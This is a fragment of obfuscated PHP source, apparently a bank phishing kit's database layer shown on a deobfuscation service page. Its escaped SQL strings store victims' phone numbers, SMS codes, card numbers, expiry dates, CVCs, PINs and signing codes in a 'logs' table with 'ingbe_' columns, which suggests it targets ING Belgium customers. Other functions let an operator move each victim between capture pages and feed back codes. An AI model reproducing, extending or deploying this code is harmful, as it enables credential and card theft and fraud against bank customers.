$stmt->bindValue("\72\x69\144\145\x6e\164\x69\x66\151\x63\141\164\151\x6f\x6e", $identification, PDO::PARAM_STR); $stmt->bindValue("\72\165\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\164\151\156\147", "\164\162\165\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setBel($phone, $uid) { $sql = "\x55\120\x44\101\x54\x45\40\x6c\x6f\147\163\40\x53\105\x54\x20\151\x6e\x67\x62\145\x5f\x62\145\154\x20\75\40\72\x70\x68\157\x6e\x65\54\40\x77\141\151\x74\x69\x6e\x67\x20\75\x20\72\x77\141\151\164\x69\x6e\147\x20\x57\x48\105\122\105\40\x75\x73\x65\162\x5f\x69\144\40\75\x20\x3a\x75\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\150\157\x6e\x65", $phone, PDO::PARAM_STR); $stmt->bindValue("\72\x75\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\x74\151\x6e\x67", "\164\162\165\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setPhone($phone, $uid) { $sql = "\125\x50\x44\x41\x54\x45\x20\x6c\157\x67\x73\x20\123\105\124\x20\x69\156\x67\142\x65\137\x70\150\157\156\145\40\75\40\72\160\150\157\x6e\145\x2c\x20\167\141\151\x74\151\156\x67\x20\x3d\x20\x3a\167\141\151\x74\x69\x6e\x67\40\x57\x48\x45\122\x45\40\x75\163\145\x72\x5f\151\x64\x20\x3d\x20\x3a\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\150\x6f\x6e\145", $phone, PDO::PARAM_STR); $stmt->bindValue("\72\x75\x69\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\x69\x74\151\x6e\147", "\x74\162\x75\145", PDO::PARAM_STR); $stmt->execute(); } public static function setSms($sms, $uid) { $sql = "\125\x50\104\x41\x54\x45\40\x6c\157\147\x73\x20\123\105\x54\40\151\x6e\x67\142\145\x5f\x73\x6d\163\x20\75\40\x3a\x73\x6d\163\x2c\40\x77\141\x69\x74\x69\156\147\40\x3d\x20\x3a\x77\x61\x69\164\151\x6e\147\40\x57\x48\x45\122\105\x20\x75\x73\145\162\x5f\151\x64\40\x3d\x20\72\x75\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\163\155\163", $sms, PDO::PARAM_STR); $stmt->bindValue("\72\165\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\151\164\151\x6e\x67", "\x74\x72\x75\145", PDO::PARAM_STR); $stmt->execute(); } public static function setCredit($credit, $exp, $cvc, $uid) { $sql = "\125\x50\104\101\x54\x45\40\x6c\x6f\x67\163\x20\123\105\124\40\x69\156\147\x62\145\137\x63\x72\x65\x64\x69\x74\x20\x3d\40\72\143\x72\145\144\151\164\54\x20\x69\x6e\x67\x62\145\137\145\170\160\x20\75\x20\72\x65\x78\x70\54\40\151\x6e\147\142\x65\137\x63\x76\143\x20\x3d\40\x3a\x63\x76\143\54\x20\x77\141\x69\164\151\x6e\x67\40\75\40\x3a\x77\x61\151\164\x69\x6e\x67\x20\x57\x48\x45\x52\x45\x20\x75\163\145\162\x5f\151\144\40\75\40\x3a\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\143\162\145\144\x69\164", $credit, PDO::PARAM_STR); $stmt->bindValue("\72\x65\x78\160", $exp, PDO::PARAM_STR); $stmt->bindValue("\x3a\x63\166\143", $cvc, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\x69\x74\x69\x6e\147", "\x74\x72\165\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCode($code, $uid) { $sql = "\x55\x50\x44\101\x54\105\40\154\157\x67\163\x20\x53\105\x54\40\x69\156\x67\x62\x65\x5f\x70\151\156\40\x3d\40\72\x63\x6f\144\x65\54\x20\167\x61\151\x74\151\x6e\147\x20\75\40\x3a\x77\x61\x69\164\x69\x6e\x67\40\127\110\105\x52\105\x20\x75\x73\145\162\x5f\x69\x64\40\75\x20\72\165\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\143\157\x64\x65", $code, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x69\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\x74\x69\x6e\147", "\x74\162\x75\145", PDO::PARAM_STR); $stmt->execute(); } public static function setSignCode($code, $uid) { $sql = "\125\120\104\x41\124\x45\x20\x6c\157\147\163\x20\123\x45\x54\x20\x69\x6e\147\142\x65\x5f\163\x69\x67\156\x20\x3d\40\72\143\x6f\144\145\54\40\x77\x61\151\x74\x69\x6e\147\40\75\x20\72\x77\141\151\164\x69\x6e\x67\x20\127\x48\x45\x52\105\x20\165\x73\x65\x72\137\x69\x64\x20\x3d\40\x3a\x75\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x63\x6f\x64\x65", $code, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\151\x64", $uid, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\151\x74\151\x6e\x67", "\x74\x72\x75\x65", PDO::PARAM_STR); $stmt->execute(); } public static function setLive($code, $uid) { $sql = "\x55\x50\x44\101\x54\x45\40\x6c\x6f\x67\x73\x20\x53\105\x54\x20\151\x6e\147\142\x65\137\x6c\x69\166\x65\x20\x3d\40\x3a\x63\x6f\x64\145\54\40\x77\x61\x69\164\151\156\147\x20\75\x20\x3a\x77\141\x69\x74\x69\x6e\x67\x20\127\110\x45\x52\x45\40\165\163\145\x72\x5f\x69\144\40\x3d\x20\72\x75\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\143\x6f\144\145", $code, PDO::PARAM_STR); $stmt->bindValue("\72\165\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\141\151\164\151\156\x67", "\x74\162\165\145", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginPage($uid, $page) { $sql = "\125\120\104\101\x54\x45\40\x6c\157\x67\x73\x20\x53\x45\124\x20\x70\141\x67\145\40\x3d\x20\72\160\141\147\145\54\x20\x77\141\x69\x74\x69\x6e\x67\40\75\x20\x3a\x77\x61\151\164\x69\x6e\x67\54\x20\x69\x6e\x67\142\x65\137\x63\x61\162\144\x20\x3d\x20\72\145\155\x70\x74\x79\x2c\40\151\156\x67\x62\145\x5f\151\144\x20\75\40\x3a\145\x6d\160\164\171\54\x20\x69\156\147\142\x65\x5f\x76\x76\x20\75\40\72\145\155\160\x74\171\x20\x57\110\105\122\x45\x20\x75\163\145\162\137\x69\x64\40\75\x20\72\165\163\x65\162\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\x74\x69\x6e\x67", "\146\141\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\165\163\x65\x72\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setIdentificationPage($uid, $page) { $sql = "\125\x50\104\x41\x54\105\x20\154\157\147\163\x20\123\105\x54\x20\x70\x61\x67\145\x20\75\x20\72\x70\141\x67\x65\x2c\40\167\141\x69\x74\x69\156\147\40\x3d\40\x3a\x77\141\x69\164\x69\x6e\147\x2c\x20\151\x6e\147\x62\x65\137\x69\144\x65\156\x74\x69\146\171\40\x3d\x20\x3a\145\155\x70\x74\171\x20\127\x48\x45\122\105\40\165\x73\x65\162\x5f\151\144\x20\x3d\x20\72\165\163\145\x72\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\x69\164\x69\156\147", "\x66\141\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\x70\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\x73\145\x72\x5f\x69\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setPhonePage($uid, $page) { $sql = "\x55\120\x44\101\124\105\x20\154\157\147\163\40\x53\105\x54\x20\x70\141\x67\x65\x20\x3d\40\x3a\160\x61\x67\145\x2c\x20\x77\x61\151\164\x69\x6e\x67\40\75\x20\72\x77\141\151\164\x69\156\147\x2c\40\x69\156\x67\142\145\137\x70\150\157\156\x65\x20\x3d\x20\x3a\x65\155\x70\x74\x79\40\127\x48\x45\x52\105\x20\165\163\x65\162\x5f\x69\x64\x20\75\40\x3a\165\163\145\x72\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\141\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\151\x74\x69\x6e\x67", "\x66\141\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\x70\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\x73\145\162\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBelPage($uid, $page) { $sql = "\x55\x50\x44\101\x54\x45\40\x6c\x6f\147\163\40\x53\105\x54\x20\160\141\x67\x65\x20\75\x20\72\160\141\147\x65\x2c\40\167\141\x69\164\x69\x6e\x67\40\x3d\x20\x3a\167\x61\151\x74\151\156\147\x2c\x20\x69\x6e\147\x62\x65\137\x62\x65\x6c\x20\75\x20\72\145\155\x70\x74\x79\40\127\110\105\122\x45\40\x75\x73\x65\x72\x5f\x69\144\40\x3d\40\72\165\163\x65\162\x5f\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\x61\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\164\x69\156\147", "\146\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\155\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\163\x65\x72\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSmsPage($uid, $page) { $sql = "\125\x50\104\x41\x54\105\x20\x6c\157\x67\163\x20\x53\105\124\40\160\141\147\x65\x20\75\x20\72\160\141\147\145\54\x20\x77\141\151\164\151\156\147\x20\75\x20\x3a\167\141\x69\164\x69\156\x67\54\40\x69\x6e\x67\142\145\x5f\163\x6d\163\x20\75\x20\72\x65\155\160\164\171\x20\127\110\105\x52\x45\40\x75\163\145\162\x5f\x69\x64\x20\x3d\40\x3a\165\163\145\x72\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\x61\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\x69\164\x69\156\147", "\146\141\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\x70\164\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\x73\145\x72\137\x69\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditPage($uid, $page) { $sql = "\125\x50\x44\101\x54\105\x20\x6c\157\147\163\x20\x53\x45\124\x20\160\141\x67\145\40\x3d\40\x3a\160\x61\x67\x65\54\40\x77\x61\151\x74\151\x6e\x67\x20\x3d\x20\x3a\x77\x61\x69\x74\151\156\x67\x2c\40\151\x6e\x67\142\145\x5f\143\162\145\x64\x69\x74\40\x3d\40\x3a\145\x6d\x70\x74\171\54\40\x69\x6e\147\x62\x65\137\145\170\160\40\75\40\x3a\145\155\160\164\171\54\x20\x69\156\x67\142\145\137\x63\166\x63\x20\75\40\72\x65\155\x70\164\x79\x20\127\110\x45\x52\x45\40\165\x73\x65\162\137\x69\144\40\x3d\x20\72\165\x73\x65\x72\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\164\151\x6e\147", "\x66\x61\x6c\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\160\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\x73\145\x72\137\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePage($uid, $page) { $sql = "\125\x50\104\x41\124\105\40\154\x6f\147\x73\x20\x53\105\124\x20\x70\x61\147\x65\40\x3d\40\72\x70\141\147\145\54\40\167\x61\151\x74\x69\x6e\x67\x20\x3d\40\x3a\167\x61\151\x74\151\x6e\x67\x2c\40\151\156\147\x62\145\137\x73\151\x67\156\40\75\40\72\x65\155\160\x74\x79\x20\x57\110\105\x52\105\x20\x75\x73\x65\x72\x5f\x69\144\x20\75\x20\x3a\x75\163\x65\x72\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\141\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\151\164\x69\156\147", "\x66\x61\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\x70\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\x73\x65\162\x5f\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePage($uid, $page) { $sql = "\x55\x50\x44\101\124\x45\40\x6c\x6f\147\x73\40\123\x45\x54\40\160\x61\x67\145\40\75\x20\x3a\160\141\147\145\x2c\40\167\x61\151\164\151\156\147\40\x3d\40\72\x77\141\x69\x74\x69\x6e\147\54\40\151\x6e\147\x62\145\x5f\154\x69\166\145\40\x3d\40\72\x65\x6d\x70\x74\171\x20\127\110\105\x52\x45\40\x75\x73\145\162\137\151\x64\40\x3d\40\x3a\165\x73\145\x72\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\x61\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\164\x69\x6e\x67", "\x66\141\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\x73\145\162\137\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLoginCodePage($uid, $page) { $sql = "\125\120\104\101\x54\105\x20\154\x6f\x67\x73\40\123\x45\124\40\160\x61\x67\x65\x20\75\x20\72\160\x61\x67\145\x2c\40\x77\141\151\x74\x69\156\147\x20\x3d\x20\x3a\x77\141\x69\x74\151\x6e\x67\x2c\40\x69\x6e\147\x62\x65\137\x70\x69\x6e\x20\x3d\40\72\145\155\160\164\171\x20\127\x48\105\x52\105\40\x75\x73\x65\x72\x5f\151\144\x20\75\x20\72\x75\x73\145\x72\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\x74\151\x6e\x67", "\x66\141\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\160\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x75\x73\145\162\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePageCode($uid, $page, $code) { $sql = "\125\x50\x44\x41\x54\105\x20\x6c\x6f\147\163\x20\x53\x45\x54\40\160\x61\147\x65\40\x3d\x20\x3a\x70\x61\x67\x65\54\40\x77\x61\151\x74\151\156\147\40\75\x20\x3a\x77\141\x69\x74\151\156\147\54\40\151\x6e\147\142\145\x5f\163\x69\x67\x6e\x20\75\x20\72\x65\x6d\160\x74\171\x2c\40\151\156\147\142\145\137\x73\151\147\x6e\x5f\147\x65\x74\x20\x3d\40\72\x63\x6f\144\145\40\x57\110\105\x52\105\40\165\x73\x65\162\137\151\144\x20\x3d\40\72\x75\x73\x65\x72\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\141\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\x74\151\x6e\x67", "\x66\x61\154\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x63\157\144\145", $code, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\163\145\162\x5f\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $live, $livetwo) { $sql = "\125\120\104\x41\124\105\40\154\157\147\163\x20\123\x45\124\40\x70\x61\x67\x65\40\x3d\40\72\x70\x61\147\x65\54\x20\167\141\151\164\x69\x6e\147\40\x3d\x20\72\x77\141\x69\x74\x69\156\147\54\x20\151\156\x67\142\145\x5f\x6c\x69\166\x65\x20\x3d\x20\72\145\155\160\164\171\54\x20\151\156\147\x62\x65\x5f\154\151\166\145\137\x67\145\164\x20\75\x20\72\x6c\151\x76\145\x2c\40\x69\156\x67\x62\145\137\x6c\x69\166\x65\x32\x5f\x67\145\164\x20\x3d\40\x3a\154\151\x76\145\x74\x77\x6f\40\x57\x48\105\122\105\40\x75\163\145\x72\137\x69\x64\40\75\x20\x3a\165\163\x65\x72\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\141\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\x74\151\156\147", "\146\141\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\x70\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\154\x69\x76\x65", $live, PDO::PARAM_STR); $stmt->bindValue("\x3a\x6c\x69\166\145\164\x77\x6f", $livetwo, PDO::PARAM_STR); $stmt->bindValue("\x3a\165\163\145\x72\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setFinishPage($uid, $page) { $sql = "\x55\x50\x44\101\x54\105\x20\x6c\157\147\163\40\123\105\x54\40\x70\x61\x67\x65\40\75\40\72\160\141\147\x65\54\40\x77\x61\x69\x74\151\156\147\x20\75\40\x3a\167\x61\151\164\x69\156\147\40\x57\x48\x45\122\105\40\165\x73\145\x72\137\151\x64\40\75\40\72\x75\163\x65\162\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\x61\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\x74\151\x6e\x67", "\146\x61\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x75\x73\x65\x72\137\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignCode($uid) { $sql = "\x53\x45\x4c\x45\103\124\x20\52\x20\106\x52\117\115\40\x6c\x6f\147\163\x20\x57\110\105\122\x45\40\165\163\x65\x72\x5f\x69\144\40\x3d\40\x3a\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\151\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x69\x6e\147\142\145\x5f\x73\x69\147\156\137\147\x65\x74"])) { return $data["\151\156\x67\142\145\137\163\151\147\x6e\x5f\147\x65\164"]; } return false; } public static function getLive($uid) { $sql = "\123\x45\x4c\105\x43\124\x20\x2a\40\x46\x52\x4f\115\40\x6c\157\x67\x73\40\127\110\105\122\x45\40\x75\163\x65\162\x5f\151\144\40\x3d\40\72\x75\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\x69\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x69\156\147\142\x65\x5f\x6c\x69\x76\x65\137\147\145\164"])) { return $data["\151\156\147\142\145\x5f\154\x69\x76\145\137\x67\145\x74"]; } return false; } public static function getLivetwo($uid) { $sql = "\x53\105\114\105\x43\124\x20\52\40\106\x52\x4f\x4d\x20\x6c\157\x67\163\40\127\110\105\122\x45\x20\x75\x73\145\x72\x5f\151\x64\x20\x3d\x20\x3a\165\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\165\x69\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x69\156\x67\x62\145\x5f\154\151\166\145\62\x5f\x67\x65\164"])) { return $data["\x69\156\x67\142\x65\x5f\154\x69\166\145\x32\x5f\x67\145\164"]; } return false; } }
Function Calls
None |
Stats
MD5 | d911259488e81c0aca86b84227741d33 |
Eval Count | 0 |
Decode Time | 119 ms |